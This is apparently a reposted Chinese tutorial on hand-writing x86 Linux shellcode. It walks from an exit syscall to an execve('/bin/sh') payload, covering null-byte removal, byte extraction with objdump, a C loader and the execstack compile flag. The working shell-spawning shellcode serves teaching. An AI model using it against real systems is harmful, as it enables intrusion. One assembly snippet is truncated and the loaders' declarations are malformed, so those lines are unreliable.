#什么是shellcode:
shellcode是用作利用软件漏洞的有效载荷的一小段代码,因为它通常启动一个命令shell,攻击者可以从中控制受攻击的机器,所以称他为shellcode。
shellcode基本的编写方式有以下三种:
- 直接编写十六进制操作码。
- 使用c语言编写程序,然后进行编译,最后进行反汇编来获取汇编指令和十六进制操作码。
- 编写汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码。
#C语言编写程序
#include<stdio.h> #include <unistd.h> #include<stdlib.h> int main(){ exit(0); }
编译时使用static选项,防止使用动态链接,在程序里保留exit系统调用代码
gcc -m32 -static -o exit exit.c
#什么是系统调用?
https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8
++Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数++
应用程序调用系统调用的过程是:
- 把系统调用的编号存入 EAX;
- 把函数参数存入其它通用寄存器;
- 触发 0x80 号中断(int 0x80)-> 用户模式->内核模式
exit(0)
- 系统调用号,即 eax 应该为 1
- 第一个参数,即 ebx 应该为 0
系统调用号:https://blog.csdn.net/qq_29343201/article/details/52209588
#shellcode编写
Section .text global _start _start: mov ebx, 0 mov ax, 1 int 0x80
nasm编译,生成目标文件
nasm -f elf32 exit_shellcode.asm
这个shellcode在实际攻击中可能会无法使用。 可以看到shellcode中有一些NULL(\x00)字符,把shellcode复制到缓冲区时,会出现异常(因为字符数组用null做终止符)
#修改汇编,去除\x00
- mov ebx, 0 –> xor ebx, ebx
- mov eax, 1 –> mov al, 1
Section .text global _start _start: xor ebx, ebx mov al, 1 int 0x80
shellcode编写完成
/*shellcodetest.c*/ char code = "\x31\xdb\xb0\x01\xcd\x80"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
#编写execve()的shellcode
execve("/bin/sh",NULL,NULL)
- 系统调用号,即 eax 应该为 0xb
- 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
- 第二个参数,即 ecx 应该为 0
- 第三个参数,即 edx 应该为 0
34;//sh" push "/bin" mov ebx,esp xor eax,eax mov al,0Bh int 80h
编译并链接
nasm -f elf32 binsh.asm ld -m elf_i386 -o binsh binsh.o
执行
#objudmp快速获取shellcode
objdump -d ./binsh.o |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
#将shellcode填入加载器 进行测试
/*shellcodetest.c*/ char code = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
gcc -m32 -o binshellcode binshellcode.c
其他变形
Section .text global _start: _start: xor eax,eax push eax push 0x68732f2f push 0x6e69622f mov ebx,esp push eax mov edx,esp xor ecx,ecx mov al,0xb int 0x80
#段错误原因
堆栈空间只有读写权限,没有可执行权限,所以在该地址执行代码导致错误
gcc -m32 -z execstack -o binshellcode binshellcode.c
#参考链接
- https://www.cnblogs.com/marklove/p/10740665.html
- https://www.freebuf.com/column/142912.html
- https://xz.aliyun.com/t/2052#toc-0
- http://blog.nsfocus.net/easy-implement-shellcode-xiangjie/
- https://wooyun.js.org/drops/shellcode%E6%95%99%E7%A8%8B%E4%BB%8E%E6%96%B0%E6%89%8B%E5%88%B0%E9%AB%98%E6%89%8B.html
- https://www.cnblogs.com/shanmao/archive/2012/12/26/2834210.html
本文【js代码转换为shell代码_shellcode编写教程】由作者: 递归 提供,本站不拥有所有权,只提供储存服务,如有侵权,联系删除!
本文链接:https://www.cuoshuo.com/blog/4184.html